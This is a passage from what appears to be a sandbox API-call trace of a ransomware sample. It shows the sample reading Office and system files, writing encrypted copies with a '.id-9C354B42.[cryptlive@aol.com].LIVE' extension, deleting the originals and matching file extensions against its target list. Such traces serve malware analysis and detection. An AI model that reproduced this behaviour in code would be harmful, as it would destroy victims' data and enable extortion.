nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0040.332] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.332] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0040.333] SetEndOfFile (hFile=0x1a8) returned 1 [0040.333] CloseHandle (hObject=0x1a8) returned 1 [0040.334] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.334] SetEndOfFile (hFile=0x1ac) returned 1 [0040.335] CloseHandle (hObject=0x1ac) returned 1 [0040.335] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0040.335] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0040.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.335] lstrlenW (lpString=".doc") returned 4 [0040.335] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.335] lstrlenW (lpString=".docx") returned 5 [0040.335] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0040.335] lstrlenW (lpString=".pdf") returned 4 [0040.336] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.336] lstrlenW (lpString=".xls") returned 4 [0040.336] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.336] lstrlenW (lpString=".xlsx") returned 5 [0040.336] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0040.336] lstrlenW (lpString=".ppt") returned 4 [0040.336] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.336] lstrlenW (lpString=".zip") returned 4 [0040.336] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.336] lstrlenW (lpString=".rar") returned 4 [0040.336] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.336] lstrlenW (lpString=".bz2") returned 4 [0040.336] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.336] lstrlenW (lpString=".7z") returned 3 [0040.336] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.336] lstrlenW (lpString=".dbf") returned 4 [0040.336] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.336] lstrlenW (lpString=".1cd") returned 4 [0040.336] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.336] lstrlenW (lpString=".jpg") returned 4 [0040.336] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.336] lstrlenW (lpString=".doc") returned 4 [0040.336] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.336] lstrlenW (lpString=".docx") returned 5 [0040.336] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0040.336] lstrlenW (lpString=".pdf") returned 4 [0040.336] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.336] lstrlenW (lpString=".xls") returned 4 [0040.336] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.337] lstrlenW (lpString=".xlsx") returned 5 [0040.337] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0040.337] lstrlenW (lpString=".ppt") returned 4 [0040.337] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.337] lstrlenW (lpString=".zip") returned 4 [0040.337] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.337] lstrlenW (lpString=".rar") returned 4 [0040.337] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.337] lstrlenW (lpString=".bz2") returned 4 [0040.337] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.337] lstrlenW (lpString=".7z") returned 3 [0040.337] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.337] lstrlenW (lpString=".dbf") returned 4 [0040.337] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.337] lstrlenW (lpString=".1cd") returned 4 [0040.337] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0040.337] lstrlenW (lpString=".jpg") returned 4 [0040.337] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.337] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0040.337] lstrlenW (lpString="Setup.xml") returned 9 [0040.337] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0040.338] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=20577) returned 1 [0040.338] CloseHandle (hObject=0x1ac) returned 1 [0040.338] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0040.338] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0040.338] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0040.338] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.338] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.338] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0040.338] GetLastError () returned 0x0 [0040.338] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x5061, lpOverlapped=0x0) returned 1 [0040.347] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0040.348] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.348] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.348] SetEndOfFile (hFile=0x1a8) returned 1 [0040.349] CloseHandle (hObject=0x1a8) returned 1 [0040.350] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.350] SetEndOfFile (hFile=0x1ac) returned 1 [0040.350] CloseHandle (hObject=0x1ac) returned 1 [0040.351] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0040.351] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0040.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.351] lstrlenW (lpString=".doc") returned 4 [0040.351] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.351] lstrlenW (lpString=".docx") returned 5 [0040.351] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.351] lstrlenW (lpString=".pdf") returned 4 [0040.351] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.351] lstrlenW (lpString=".xls") returned 4 [0040.351] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.351] lstrlenW (lpString=".xlsx") returned 5 [0040.351] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.351] lstrlenW (lpString=".ppt") returned 4 [0040.352] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.352] lstrlenW (lpString=".zip") returned 4 [0040.352] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.352] lstrlenW (lpString=".rar") returned 4 [0040.352] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.352] lstrlenW (lpString=".bz2") returned 4 [0040.352] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.352] lstrlenW (lpString=".7z") returned 3 [0040.352] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.352] lstrlenW (lpString=".dbf") returned 4 [0040.352] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.352] lstrlenW (lpString=".1cd") returned 4 [0040.352] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.352] lstrlenW (lpString=".jpg") returned 4 [0040.352] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.352] lstrlenW (lpString=".doc") returned 4 [0040.352] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.352] lstrlenW (lpString=".docx") returned 5 [0040.352] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.352] lstrlenW (lpString=".pdf") returned 4 [0040.352] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.352] lstrlenW (lpString=".xls") returned 4 [0040.352] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.352] lstrlenW (lpString=".xlsx") returned 5 [0040.352] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.352] lstrlenW (lpString=".ppt") returned 4 [0040.352] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.352] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.352] lstrlenW (lpString=".zip") returned 4 [0040.353] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.353] lstrlenW (lpString=".rar") returned 4 [0040.353] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.353] lstrlenW (lpString=".bz2") returned 4 [0040.353] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.353] lstrlenW (lpString=".7z") returned 3 [0040.353] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.353] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.353] lstrlenW (lpString=".dbf") returned 4 [0040.353] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.353] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.353] lstrlenW (lpString=".1cd") returned 4 [0040.353] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.353] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.353] lstrlenW (lpString=".jpg") returned 4 [0040.353] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.353] lstrcmpiW (lpString1=".EPS", lpString2=".LIVE") returned -1 [0040.353] lstrlenW (lpString="MS.EPS") returned 6 [0040.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0040.355] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=15067) returned 1 [0040.355] CloseHandle (hObject=0x1ac) returned 1 [0040.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0040.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0040.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0040.355] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.355] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0040.356] GetLastError () returned 0x0 [0040.356] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x3adb, lpOverlapped=0x0) returned 1 [0040.357] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x3ae0, lpOverlapped=0x0) returned 1 [0040.358] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.358] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0040.358] SetEndOfFile (hFile=0x1a8) returned 1 [0040.359] CloseHandle (hObject=0x1a8) returned 1 [0040.360] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.360] SetEndOfFile (hFile=0x1ac) returned 1 [0040.361] CloseHandle (hObject=0x1ac) returned 1 [0040.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0040.361] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0040.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0040.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0040.361] lstrlenW (lpString=".doc") returned 4 [0040.361] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0040.361] lstrlenW (lpString=".docx") returned 5 [0040.361] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0040.361] lstrlenW (lpString=".pdf") returned 4 [0040.361] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0040.361] lstrlenW (lpString=".xls") returned 4 [0040.361] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0040.361] lstrlenW (lpString=".xlsx") returned 5 [0040.361] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0040.361] lstrlenW (lpString=".ppt") returned 4 [0040.361] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0040.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0040.362] lstrlenW (lpString=".zip") returned 4 [0040.362] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0040.362] lstrlenW (lpString=".rar") returned 4 [0040.362] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0040.362] lstrlenW (lpString=".bz2") returned 4 [0040.362] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0040.362] lstrlenW (lpString=".7z") returned 3 [0040.362] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0040.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0040.362] lstrlenW (lpString=".dbf") returned 4 [0040.362] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0040.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0040.362] lstrlenW (lpString=".1cd") returned 4 [0040.362] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0040.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0040.362] lstrlenW (lpString=".jpg") returned 4 [0040.362] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0040.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0040.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0040.362] lstrlenW (lpString=".doc") returned 4 [0040.362] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0040.362] lstrlenW (lpString=".docx") returned 5 [0040.362] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0040.362] lstrlenW (lpString=".pdf") returned 4 [0040.362] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0040.362] lstrlenW (lpString=".xls") returned 4 [0040.362] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0040.362] lstrlenW (lpString=".xlsx") returned 5 [0040.362] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0040.362] lstrlenW (lpString=".ppt") returned 4 [0040.362] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0040.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0040.362] lstrlenW (lpString=".zip") returned 4 [0040.362] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0040.363] lstrlenW (lpString=".rar") returned 4 [0040.363] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0040.363] lstrlenW (lpString=".bz2") returned 4 [0040.363] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0040.363] lstrlenW (lpString=".7z") returned 3 [0040.363] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0040.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0040.363] lstrlenW (lpString=".dbf") returned 4 [0040.363] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0040.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0040.363] lstrlenW (lpString=".1cd") returned 4 [0040.363] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0040.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0040.363] lstrlenW (lpString=".jpg") returned 4 [0040.363] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0040.363] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0040.363] lstrlenW (lpString="MS.GIF") returned 6 [0040.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0040.363] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1069) returned 1 [0040.363] CloseHandle (hObject=0x1ac) returned 1 [0040.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0040.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0040.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0040.364] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.364] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0040.364] GetLastError () returned 0x0 [0040.364] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x42d, lpOverlapped=0x0) returned 1 [0040.365] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x430, lpOverlapped=0x0) returned 1 [0040.366] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.366] WriteFile 